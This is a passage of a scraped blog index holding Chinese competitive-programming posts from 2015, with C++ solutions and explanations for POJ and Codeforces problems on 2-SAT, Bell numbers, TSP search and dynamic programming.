POJ-1184 聪明的打字员 HDOJ-4012 Paint on a Wall HDOJ-3766 Knight’s Trip HDOJ-2605 Snake HDOJ-3121 FreeOpen HDOJ-3900 Unblock Me HDOJ-1732 Push Box HDOJ-2913 Traveling Cube HDOJ-3001 Travelling HDOJ-4090 GemAnd Prince 【Level 3】 HDOJ-1401 Solitaire HDOJ-4127 Flood-it! HDOJ-1560 DNA sequence HDOJ-2808 Islands HDOJ-1430 魔板 HDOJ-1043 Eight HDOJ-3567 Eight II HDOJ-1667 The Rotation Game HDOJ-2234 无题I HDOJ-1813 Escape from Tetris HDOJ-2918 Tobo or not Tobo HDOJ-3459 Rubik 2×2×2 HDOJ-2953 Rubiks Cube ZOJ-2477 Magic Cube HDOJ-2691 2-Dimensional Rubik’s Cube HDOJ-2467 Deja vu HDOJ-2485 Destroying the bus stations","date":"2015-08-16","externalUrl":null,"permalink":"/2015/08/%e9%ab%98%e7%ba%a7%e6%90%9c%e7%b4%a2%e4%b8%93%e9%a2%98/","section":"Posts","summary":"基础的搜索BFS和DFS,自己找题切吧… 高级搜索的题集就在下面,自己看着办吧…","tags":["算法竞赛"],"title":"高级搜索专题","type":"post"},{"categories":["ACM"],"content":"＿＿＿＿＿＿ 好蠢，竟然没看出来这道题的不同之处，以为就是个搜 然后样例什么的都过了．．． 结果显然wa… 然后才发现，这道题应该是tsp问题． 解法是先跑一遍bfs, 对于所有的脏点和起点，得到没两个点之间的距离． 然后跑一遍dfs，枚举出所有的组合，同时更新答案． 晚安． 1/************************************************************************* 2 \u003e File Name: code/poj/rr2688.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月16日 星期日 03时39分34秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=25; 32int w,h; 33char maze[N][N]; 34int dist[N][N]; 35int cnt;//机器人与脏地的个数 36int tag[N][N];//标记 37bool vist[N][N]; 38struct node 39{ 40 int x,y; 41 int step; 42 bool ok () 43 { 44 if (x\u003c1||x\u003eh||y\u003c1||y\u003ew||vist[x][y]||maze[x][y]=='x') 45 return false; 46 return true; 47 } 48}pos[N*N]; 49 50node robot; 51int dir[4][2]={0,-1,0,1,-1,0,1,0}; 52void bfs(node p,int po) 53{ 54 vist[p.x][p.y]=1; 55 queue\u003cnode\u003eq; 56 q.push(p); 57 while(!q.empty()) 58 { 59 node cur=q.front(); 60 q.pop(); 61 if(maze[cur.x][cur.y]=='o' || maze[cur.x][cur.y]=='*') 62 dist[po][tag[cur.x][cur.y]]=cur.step; 63 node next; 64 next.step=cur.step+1; 65 for(int i=0;i\u003c4;i++) 66 { 67 next.x=cur.x+dir[i][0]; 68 next.y=cur.y+dir[i][1]; 69 if(!next.ok()) 70 continue; 71 q.push(next); 72 vist[next.x][next.y]=1; 73 } 74 } 75} 76 77int ans=inf; 78bool vis[N]; 79void dfs(int x,in","date":"2015-08-15","externalUrl":null,"permalink":"/2015/08/poj2688/","section":"Posts","summary":"＿＿＿＿＿＿ 好蠢，竟然没看出来这道题的不同之处，以为就是个搜 然后样例什么的都过了．．．","tags":["bfs","dfs","tsp"],"title":"poj 2688 Cleaning Robot (tsp问题)","type":"post"},{"categories":["ACM"],"content":"比赛的时候没搞出来，really sad. 其实这题很容易啊．．．． 首先，对于lie 的判断应该基于能放的船的个数． 能放的船的个数是随着射的点数的增加而减少的． 射完每个点后更新能放的船的个数，如果这个时候已经无法放下k条船了，说明lie了． 如果所有都射完也没发生，那么就-1. 由于船与串不能相邻，除了最后一条船，每条船实际占的size 应该为a+1 那么很容易知道对于长度为l的区间，能放的船的个数为（l+1）/(a+1) 这是初始能放的船的个数，为最大值． 当射了点b之后，破坏的是b所在的一段最大的没有被射过点的区间的连续性． 做法是找到距离b点最近的左端和右端的被射过的点． 可以用set 搞，找的时候upper_bound 记得初始化的时候把　0点和　n+1 点当成射过的． 1/************************************************************************* 2 \u003e File Name: code/cf/#314/D.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月16日 星期日 00时27分54秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31set\u003cint\u003e se; 32int n,k,a,m,b; 33set\u003cint\u003e::iterator it; 34int cal (int x,int y) //cal 函数计算出当射了b之后，因此减少的能放船的个数． 35{ 36 int res; 37 res = (y-x)/(a+1)-(y-b)/(a+1)-(b-x)/(a+1);//由于射了b点，相当于之前连续的区间(x,y)被分成了（x,b）和（b,y) 38 //(x,y)区间能放的船的数量由之前变成了被分成的两个小区间能放的船的数量的和． 39 return res; 40} 41int main() 42{ 43 scanf(\"%d %d %d\",\u0026n,\u0026k,\u0026a); 44 scanf(\"%d\",\u0026m); 45 se.clear(); 46 int sum=(n+1)/(a+1); //sum表示的是当前能放的船的个数 47 //容易知道，对于长度为l的点，最多能放的船的数量为（l+1）/(a+1); 48 se.insert(0); 49 se.insert(n+1);//由于要找要被射的点两遍最近的被射的点，我们不妨认为0点和n+1点也是被射的，这样处理断点容易些． 50 int ans = -1; 51 bool flag = false; 52 for (int i=1;i\u003c=m;i++) 53 { 54 scanf(\"%d\",\u0026b); 55 if (flag) continue; 56 it=s","date":"2015-08-15","externalUrl":null,"permalink":"/2015/08/codeforces314/","section":"Posts","summary":"比赛的时候没搞出来，really sad. 其实这题很容易啊．．．． 首先，对于lie 的判断应该基于能放的船的个数． 能放的船的个数是随着射的点数的增加而减少的． 射完每个点后更新能放的船的个数，如果这个时候已经无法放下k条船了，说明lie了． 如果所有都射完也没发生，那么就-1.","tags":["模拟"],"title":"codeforces 314 D   One-Dimensional Battle Ships (模拟)","type":"post"},{"categories":["ACM"],"content":"1/************************************************************************* 2 \u003e File Name: code/cf/#315/E.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月15日 星期六 13时48分36秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#define y0 abc111qqz 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define tm crazy111qqz 24#define lr dying111qqz 25using namespace std; 26#define REP(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef unsigned long long ULL; 29const int inf = 0x7fffffff; 30const int N=5E2+7; 31int flag[N],flag2[N]; 32int f[N][N]; 33int a[N]; 34char s[N]; 35int ans[N]; 36int len,n,m; 37char s1[13],s2[13]; 38int p1,p2,q1,q2,dq1,dq2; 39void add(int p,int q,int flag[]) 40{ 41 int dq = q * n + p;//找到元辅音状态为q，第p的点的下标 42 for (int i=1;i\u003c=2*n;++i) 43 { 44 if (f[dq][i]==0) continue; 45 flag[i]=1;//找到所有由dp出发的边指向的点，表示选了dp点一定要选的点。 46 } 47} 48bool check(int flag[]) 49{ 50 for (int i=1;i\u003c=n;++i) 51 if (flag[i]==1\u0026\u0026flag[i+n]==1) return false; //判断是否存在矛盾 52 //（选了j点后，既要选择某点k的元音，也要选择某点k的辅音）　53 return true; 54} 55bool dfs(int pos,int x) 56{ 57 if (pos\u003en) return true;//如果能形成一个长度为n的单词，说明这种语言有word 58 bool g[2]; 59 g[0]=g[1]=false; 60 for (int i=x;i\u003c=len;++i)//从当前字母x往后枚举 61 { 62 for (int j=1;j\u003c=2*n;++j) flag2[j]=flag[j];//为了不影响原始数组，复制一个布尔数组出来。 63 add(pos,a[i],flag2);//找到所有选了pos点一定要选的点 64 if (check(flag2)\u0026\u0026(!g[a[i]])) 65 { 66 g[a[i]]=true; 67 for (int j=1;j\u003c=2*n;++j) flag[j]=flag2[j]; 68 ans[pos]=i;//将第pos位置的字母变成i 69 if (dfs(pos+1,1)) return true; 70 else return false;//只要有一位找","date":"2015-08-15","externalUrl":null,"permalink":"/2015/08/codeforces569e/","section":"Posts","summary":"1/************************************************************************* 2 \u003e File Name: code/cf/#315/E.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月15日 星期六 13时48分36秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#define y0 abc111qqz 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define tm crazy111qqz 24#define lr dying111qqz 25using namespace std; 26#define REP(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef unsigned long long ULL; 29const int inf = 0x7fffffff; 30const int N=5E2+7; 31int flag[N],flag2[N]; 32int f[N][N]; 33int a[N]; 34char s[N]; 35int ans[N]; 36int len,n,m; 37char s1[13],s2[13]; 38int p1,p2,q1,q2,dq1,dq2; 39void add(int p,int q,int flag[]) 40{ 41 int dq = q * n + p;//找到元辅音状态为q，第p的点的下标 42 for (int i=1;i\u003c=2*n;++i) 43 { 44 if (f[dq][i]==0) continue; 45 flag[i]=1;//找到所有由dp出发的边指向的点，表示选了dp点一定要选的点。 46 } 47} 48bool check(int flag[]) 49{ 50 for (int i=1;i\u003c=n;++i) 51 if (flag[i]==1\u0026\u0026flag[i+n]==1) return false; //判断是否存在矛盾 52 //（选了j点后，既要选择某点k的元音，也要选择某点k的辅音）　53 return true; 54} 55bool dfs(int pos,int x) 56{ 57 if (pos\u003en) return true;//如果能形成一个长度为n的单词，说明这种语言有word 58 bool g[2]; 59 g[0]=g[1]=false; 60 for (int i=x;i\u003c=len;++i)//从当前字母x往后枚举 61 { 62 for (int j=1;j\u003c=2*n;++j) flag2[j]=flag[j];//为了不影响原始数组，复制一个布尔数组出来。 63 add(pos,a[i],flag2);//找到所有选了pos点一定要选的点 64 if (check(flag2)\u0026\u0026(!g[a[i]])) 65 { 66 g[a[i]]=true; 67 for (int j=1;j\u003c=2*n;++j) flag[j]=flag2[j]; 68 ans[pos]=i;//将第pos位置的字母变成i 69 if (dfs(pos+1,1)) return true; 70 else return false;//只要有一位找不到合适的字母形成单词，那么肯定就构不成单词。 71 } 72 } 73 return false; 74} 75int main() 76{ 77 scanf(\"%s\",s); 78 len=strlen(s); //0表示辅音，１表示原因，下同。 79 for (int i=1;i\u003c=len;++i)//len 表示字母表中一共有的字母的个数 80 { 81 if (s[i-1]=='V') 82 { 83 a[i] = 0; 84 } 85 else 86 { 87 a[i] = 1; 88 } 89 } 90 memset(f,0,sizeof(f)); 91 scanf(\"%d%d\",\u0026n,\u0026m); 92 for (int i=1;i\u003c=m;++i)//1..n表示元音的点，n+1..2*n 表示辅音的点 93 { 94 scanf(\"%d\",\u0026p1); 95 scanf(\"%s\",s1); 96 if (s1[0]=='V') q1=0;else q1=1; 97 scanf(\"%d\",\u0026p2); 98 scanf(\"%s\",s2); 99 if (s2[0]=='V') q2=0;else q2=1; 100 dq1=q1*n+p1;dq2=q2*n+p2;//找到这组关系对应的点。 101 f[dq1][dq2]=1;//连一条由dq1指向dq2的边，表示如果选了dp1点，那么一定选dp2点　102 dq1=(1-q2)*n+p2;dq2=(1-q1)*n+p1;//找到逆否命题对应的点　103 // （\"如果选１，一定选２\"的逆否命题是，\"如果不选２，一定不选１\"） 104 f[dq1][dq2]=1; //在连一条边 105 } 106 for (int i=1;i\u003c=2*n;++i) f[i][i]=1; 107 for (int k=1;k\u003c=2*n;++k)//floyd ，把所有间接相连的边直接相连 108 { 109 for (int i=1;i\u003c=2*n;++i) 110 for (int j=1;j\u003c=2*n;++j) 111 f[i][j]|=f[i][k]\u0026f[k][j]; 112 } 113 scanf(\"%s\",s+1); 114 bool ok=false; 115 for (int i=n;i\u003e=0;--i) //倒着扫，每次只改变最后一位的字母，字母从小往大枚举 //这样就可以保证字典序最小。 116 { 117 memset(flag,0,sizeof(flag)); 118 for (int j=1;j\u003c=i;++j) 119 { 120 add(j,a[s[j]-'a'+1],flag); 121 ans[j]=s[j]-'a'+1; 122 } 123 if (!check(flag)) continue; 124 if (dfs(i+1,s[i+1]-'a'+1+1)) 125 { 126 ok=true; 127 break; 128 } 129 } 130 if (!ok) printf(\"-1\\n\"); 131 else 132 { 133 for (int i=1;i\u003c=n;++i) printf(\"%c\",ans[i]+'a'-1); 134 } 135 return 0; 136}","tags":["2-sat"],"title":"codeforces 569 E. New Language (2-sat)","type":"post"},{"categories":["ACM"],"content":"【2-SAT问题】 现有一个由N个布尔值组成的序列A，给出一些限制关系，比如A[x] AND A[y]=0、A[x] OR A[y] OR A[z]=1等，要确定A[0..N-1]的值，使得其满足所有限制关系。这个称为SAT问题，特别的，若每种限制关系中最多只对两个元素进行限制，则称为2-SAT问题。 由于在2-SAT问题中，最多只对两个元素进行限制，所以可能的限制关系共有11种： A[x] NOT A[x] A[x] AND A[y] A[x] AND NOT A[y] A[x] OR A[y] A[x] OR NOT A[y] NOT (A[x] AND A[y]) NOT (A[x] OR A[y]) A[x] XOR A[y] NOT (A[x] XOR A[y]) A[x] XOR NOT A[y] 进一步，A[x] AND A[y]相当于(A[x]) AND (A[y])（也就是可以拆分成A[x]与A[y]两个限制关系），NOT(A[x] OR A[y])相当于NOT A[x] AND NOT A[y]（也就是可以拆分成NOT A[x]与NOT A[y]两个限制关系）。因此，可能的限制关系最多只有9种。 在实际问题中，2-SAT问题在大多数时候表现成以下形式：有N对物品，每对物品中必须选取一个，也只能选取一个，并且它们之间存在某些限制关系（如某两个物品不能都选，某两个物品不能都不选，某两个物品必须且只能选一个，某个物品必选）等，这时，可以将每对物品当成一个布尔值（选取第一个物品相当于0，选取第二个相当于1），如果所有的限制关系最多只对两个物品进行限制，则它们都可以转化成9种基本限制关系，从而转化为2-SAT模型。 【建模】 其实2-SAT问题的建模是和实际问题非常相似的。 建立一个2N阶的有向图，其中的点分为N对，每对点表示布尔序列A的一个元素的0、1取值（以下将代表A[i]的0取值的点称为i，代表A[i]的1取值的点称为i’）。显然每对点必须且只能选取一个。然后，图中的边具有特定含义。若图中存在边，则表示若选了i必须选j。可以发现，上面的9种限制关系中，后7种二元限制关系都可以用连边实现，比如NOT(A[x] AND A[y])需要连两条边和，A[x] OR A[y]需要连两条边和。而前两种一元关系，对于A[x]（即x必选），可以通过连边来实现，而NOT A[x]（即x不能选），可以通过连边来实现。 【O(NM)算法：求字典序最小的解】 根据2-SAT建成的图中边的定义可以发现，若图中i到j有路径，则若i选，则j也要选；或者说，若j不选，则i也不能选； 因此得到一个很直观的算法： （1）给每个点设置一个状态V，V=0表示未确定，V=1表示确定选取，V=2表示确定不选取。称一个点是已确定的当且仅当其V值非0。设立两个队列Q1和Q2，分别存放本次尝试选取的点的编号和尝试不选的点的编号。 （2）若图中所有的点均已确定，则找到一组解，结束，否则，将Q1、Q2清空，并任选一个未确定的点i，将i加入队列Q1，将i’加入队列Q2； （3）找到i的所有后继。对于后继j，若j未确定，则将j加入队列Q1；若j’（这里的j’是指与j在同一对的另一个点）未确定，则将j’加入队列Q2； （4）遍历Q2中的每个点，找到该点的所有前趋（这里需要先建一个补图），若该前趋未确定，则将其加入队列Q2； （5）在（3）（4）步操作中，出现以下情况之一，则本次尝试失败，否则本次尝试成功： \u003c1\u003e某个已被加入队列Q1的点被加入队列Q2； \u003c2\u003e某个已被加入队列Q2的点被加入队列Q1; \u003c3\u003e某个j的状态为2； \u003c4\u003e某个i’或j’的状态为1或某个i’或j’的前趋的状态为1； （6）若本次尝试成功，则将Q1中的所有点的状态改为1，将Q2中所有点的状态改为2，转（2），否则尝试点i’，若仍失败则问题无解。 该算法的时间复杂度为O(NM)（最坏情况下要尝试所有的点，每次尝试要遍历所有的边），但是在多数情况下，远远达不到这个上界。 具体实现时，可以用一个数组vst来表示队列Q1和Q2。设立两个标志变量i1和i2（要求对于不同的i，i1和i2均不同，这样可以避免每次尝试都要初始化一次，节省时间），若vst[i]=i1则表示i已被加入Q1，若vst[i]=i2则表示i已被加","date":"2015-08-15","externalUrl":null,"permalink":"/2015/08/2-satkuangbin/","section":"Posts","summary":"【2-SAT问题】 现有一个由N个布尔值组成的序列A，给出一些限制关系，比如A[x] AND A[y]=0、A[x] OR A[y] OR A[z]=1等，要确定A[0..N-1]的值，使得其满足所有限制关系。这个称为SAT问题，特别的，若每种限制关系中最多只对两个元素进行限制，则称为2-SAT问题。","tags":["算法竞赛"],"title":"【2-SAT问题】（转自kuangbin的博客）","type":"post"},{"categories":["ACM"],"content":"D. Symmetric and Transitive time limit per test 1.5 seconds memory limit per test 256 megabytes input standard input output standard output Little Johnny has recently learned about set theory. Now he is studying binary relations. You’ve probably heard the term “equivalence relation”. These relations are very important in many areas of mathematics. For example, the equality of the two numbers is an equivalence relation. A set ρ of pairs (a, b) of elements of some set A is called a binary relation on set A. For two elements a and b of the set A we say that they are in relation ρ, if pair , in this case we use a notation . Binary relation is equivalence relation, if: 1. It is reflexive (for any _a_ it is true that ); 2. It is symmetric (for any a, b it is true that if , then ); 3. It is transitive (if and , than ). Little Johnny is not completely a fool and he noticed that the first condition is not necessary! Here is his “proof”: Take any two elements, a and b. If , then (according to property (2)), which means (according to property (3)). It’s very simple, isn’t it? However, you noticed that Johnny’s “proof” is wrong, and decided to show him a lot of examples that prove him wrong. Here’s your task: count the number of binary relations over a set of size n such that they are symmetric, transitive, but not an equivalence relations (i.e. they are not reflexive). Since their number may be very large (not 0, according to Little Johnny), print the remainder of integer division of this number by 109 + 7. Input A single line contains a single integer n (1 ≤ n ≤ 4000). Output In a single line print the answer to the problem modulo 109 + 7. Sample test(s) input 1 output 1 input 2 output 3 input 3 output 10 Note If n = 1 there is only one such relation — an empty one, i.e. . In oth","date":"2015-08-14","externalUrl":null,"permalink":"/2015/08/codeforces569d/","section":"Posts","summary":"D. Symmetric and Transitive time limit per test 1.5 seconds memory limit per test 256 megabytes input standard input output standard output Little Johnny has recently learned about set theory. Now he is studying binary relations. You’ve probably heard the term “equivalence relation”. These relations are very important in many areas of mathematics. For example, the equality of the two numbers is an equivalence relation.","tags":["第二类斯特林数","组合数学","贝尔数"],"title":"codeforces 569 D. Symmetric and Transitive  (组合数学　第二类斯特林数　贝尔数)","type":"post"},{"categories":["ACM"],"content":"http://baike.baidu.com/link?url=nsN1-rcs3Gs0jNurWLSDk6AJ9jmhl_3pfkQmYK7vZoe7BsoTij48Si3It9XeNM4uA7gST-1ITQsAx0bv5si9_q","date":"2015-08-14","externalUrl":null,"permalink":"/2015/08/%e6%96%af%e7%89%b9%e6%9e%97%e6%95%b0/","section":"Posts","summary":"http://baike.baidu.com/link?url=nsN1-rcs3Gs0jNurWLSDk6AJ9jmhl_3pfkQmYK7vZoe7BsoTij48Si3It9XeNM4uA7gST-1ITQsAx0bv5si9_q","tags":["算法竞赛"],"title":"斯特林数","type":"post"},{"categories":["ACM"],"content":"http://baike.baidu.com/link?url=kw5Kxe3nSvRJR0TpJUpMrORcQL8fyZFpJlT9_o0RlGYOy0bKFobabPPSj3LxGfy7o1qGVycrYK4Iags3hMFq0a 在组合数合里，贝尔数给出了集合划分的数目，以数学家埃里克·坦普尔·贝尔（Eric Temple Bell）命名，是组合数学中的一组整数数列。[1] 以B0= B1=1为始， 首几项的贝尔数为：1, 1, 2, 5, 15, 52, 203, 877, 4140, 21147, 115975, …（OEIS的A000110数列） _B__n_是基数为_n_的集合划分数目。集合S_的一个划分是定义为_S_的两两不相交的非空子集的族，它们的并是_S。例如_B_3 = 5因为3个元素的集合{a, b, c}有5种不同的划分方法： 1 * {{a}, {b}, {c}} 1 * {{a}, {b, c}} 1 * {{b}, {a, c}} 1 * {{c}, {a, b}} 1 * {{a, b, c}} _B_0是1因为空集 正好有1种划分方法。划分的定义要求空集的划分中的每个成员都是非空集合，而它们的并是 本身。所以 是它自身的唯一划分。（这是定义所允许的因为 ） 2公式编辑 # 贝尔数适合递推公式： 它们也适合“Dobinski公式”： 期望值为1的泊松分布的’’n’‘次矩。 它们也适合“Touchard同余”：若p是任意质数，那么 每个贝尔数都是\"第二类Stirling数\"的和 Stirling数S（n, k）是把基数为n的集划分为正好k个非空集的方法的数目。 把任一概率分布的n次矩以首n个累积量表示的多项式，其系数和正是第n个贝尔数。这种数划分的方法不像用Stirling数那个方法粗糙。 贝尔数的指数母函数是 3贝尔三角形编辑 # 用以下方法建构一个三角矩阵（形式类似杨辉三角形）： (1) 第一行第一项是1（a_{1,1} = 1） (2) 对于_n_\u003e1，第n行第一项等同第n-1行最后一项。（ ） (3) 对于_m_,n\u003e1，第n行第m项等于它左边和左上方的两个数之和。（ ） 结果如下：（OEIS的A011971数列[2] ） 每行首项是贝尔数。每行之和是第二类Stirling数。 这个三角形称为贝尔三角形、Aitken阵列或Peirce三角形（Bell triangle, Aitken’s array, Peirce triangle）。","date":"2015-08-14","externalUrl":null,"permalink":"/2015/08/%e8%b4%9d%e5%b0%94%e6%95%b0%e9%9b%86%e5%90%88%e7%9a%84%e5%88%92%e5%88%86%e6%95%b0%e7%9b%ae/","section":"Posts","summary":"http://baike.baidu.com/link?url=kw5Kxe3nSvRJR0TpJUpMrORcQL8fyZFpJlT9_o0RlGYOy0bKFobabPPSj3LxGfy7o1qGVycrYK4Iags3hMFq0a 在组合数合里，贝尔数给出了集合划分的数目，以数学家埃里克·坦普尔·贝尔（Eric Temple Bell）命名，是组合数学中的一组整数数列。[1] 以B0= B1=1为始， 首几项的贝尔数为：1, 1, 2, 5, 15, 52, 203, 877, 4140, 21147, 115975, …（OEIS的A000110数列）","tags":["组合数学","贝尔数"],"title":"贝尔数(集合的划分数目)","type":"post"},{"categories":["ACM"],"content":"先预处理出来比小于等于n的素数的个数和回文数的个数… 素数不筛竟然也可以过 然后暴力就好. 需要注意的是,比值并不单调,找最大的n,可能之前某个数开始不满足条件,之后又有满足条件的了. 我们可以倒着扫来找,第一个满足条件的就是最大的. 1/************************************************************************* 2 \u003e File Name: code/cf/#315/C.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月11日 星期二 00时54分13秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=2E6+5; 32int f[N],g[N]; 33bool prime( int x) 34{ 35 if (x==1) return false; 36 if (x\u003c=3) return true; 37 for ( int i = 2 ; i*i\u003c=x ; i ++) 38 { 39 if (x%i==0) 40 return false; 41 } 42 return true; 43} 44bool pal( int x) 45{ 46 int a[100]; 47 int len=0; 48 while(x) 49 { 50 len++; 51 a[len]=x; 52 x = x/ 10; 53 } 54 55 for ( int i = 1 ;i \u003c= len/2 ; i++) 56 { 57 if (a[i]!=a[len+1-i]) 58 return false; 59 } 60 return true; 61} 62int main() 63{ 64 int cnt = 0; 65 memset(f,0,sizeof(f)); 66 memset(g,0,sizeof(g)); 67 for (int i = 1 ; i \u003c= N-5 ; i ++) 68 { 69 if (prime(i)) 70 { 71 cnt++; 72 73 // pri[cnt] = i; 74 } 75 f[i] = cnt; 76 } 77 int cnt2 = 0 ; 78 for ( int i =1 ; i \u003c=N-5 ; i++) 79 { 80 if (pal(i)) 81 { 82 cnt2++; 83 84 } 85 g[i] = cnt2; 86 } 87 // for ( int i =1; i \u003c= N-5; i ++) 88 // { 89// cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\"f[i]:\"\u003c\u003cf[i]\u003c\u003c\" g[i]:\"\u003c\u003cg[i]\u003c\u003c\"f[i]/g[i]:\"\u003c\u003cf[i]","date":"2015-08-14","externalUrl":null,"permalink":"/2015/08/codeforces569/","section":"Posts","summary":"先预处理出来比小于等于n的素数的个数和回文数的个数…","tags":["brute force"],"title":"codeforces 569 C  Primes or Palindromes? (暴力)","type":"post"},{"categories":["ACM"],"content":"比赛的时候想到了是dp搞… 不过dp废….. 可能更多的是心理上… 这道题并不怎么难想,但是以觉得是dp,就给了自己一种暗示…这题我搞不出来… 实际上,我把cA掉的时候应该还有一个小时十分钟左右的样子… d题没啥思路,所以我有大概一个小时的时间可以搞e…未必就搞不出来. 还有因为答案很大要取模,感觉一般取模的题,要么是数学,要么是像dp这种有递推式子的. 这道题的思路是: 因为要形成回文串,我们可以从两边往中间走,保证每一步都相同. dp[i][x1][x2] 表示路径长度为i,左上角出发到达x坐标为x1,又下角出发到达x坐标为x2,且两条路径上对应的字母都相同的方案数. 然后判断当前格子的字母是否一样,如果一样,则考虑转移. 由于从左上角出发可以往下往右,从右下角出发可以往上往左,排列组合,所以当前状态和之前的四种状态有关. 由因为这步的状态只和上以步的四种状态有关,所以路径长度那以维要滚动掉不然会MLE dp方程为 dp[cur][x1][x2]=(dp[cur^1][x1][x2],dp[cur^1][x1-1][x2],dp[cur^1][x1][x2+1],dp[cur^1][x1-1][x2+1])%MOD; 然后注意由于(m+n) 的奇偶性,答案会有所不同. 根据奇偶性判断从两端出发是到两个相邻的格子还是到同一个格子. 初始化的话如果(1,1)和{n,m}点的字母一样那么 dp[0][1][n] 为1,否则为0. 其他点显然都为0 1/************************************************************************* 2 \u003e File Name: code/cf/#316/EE.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月15日 星期六 04时10分13秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int MOD=1E9+7; 32const int N=5E2+7; 33int n,m; 34char st[N][N]; 35 36int dp[2][N][N]; 37int main() 38{ 39 scanf(\"%d %d\",\u0026n,\u0026m); 40 for ( int i = 1 ; i \u003c= n ; i++) 41 { 42 scanf(\"%s\",\u0026st[i][1]); 43 } 44 // dp[0][1][n]= st[1][1]==st[n][m]; 45 if (st[1][1]==st[n][m]) 46 { 47 dp[0][1][n]=1; 48 } 49 else 50 { 51 dp[0][1][n]=0; 52 } 53 int cur = 0; 54 int mx","date":"2015-08-14","externalUrl":null,"permalink":"/2015/08/codeforces570e-pigandpalindromesdp/","section":"Posts","summary":"比赛的时候想到了是dp搞… 不过dp废…..","tags":["dp"],"title":"codeforces 570 E. Pig and Palindromes (dp)","type":"post"},{"categories":["ACM"],"content":"因为字母的排列顺序是任意的,所以判断能否形成回文串的条件就成了出现次数为奇数的字母的个数是否大于1个,如果是,那么一定不能形成回文串,否则一定可以. 为了找到以节点v为根的 subtree 中深度为h的后代,需要求出dfs序列,并且记录每个节点初次访问的时间戳和离开它的时间戳,然后二分. 貌似也可以用树状数组做? 1/************************************************************************* 2 \u003e File Name: code/cf/#316/D.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月15日 星期六 02时55分55秒 6 ************************************************************************/ 7#include \u003cbits/stdc++.h\u003e 8 9 10using namespace std; 11const int N=5E5+7; 12int n,m; 13vector\u003cint\u003e adj[N]; 14char S[N]; 15vector\u003cint\u003e occ[N][26]; 16int in[N], out[N], now; 17 18void dfs(int u, int depth) 19{ 20 occ[depth][S[u]-'a'].push_back(++now); 21 in[u]=now; 22 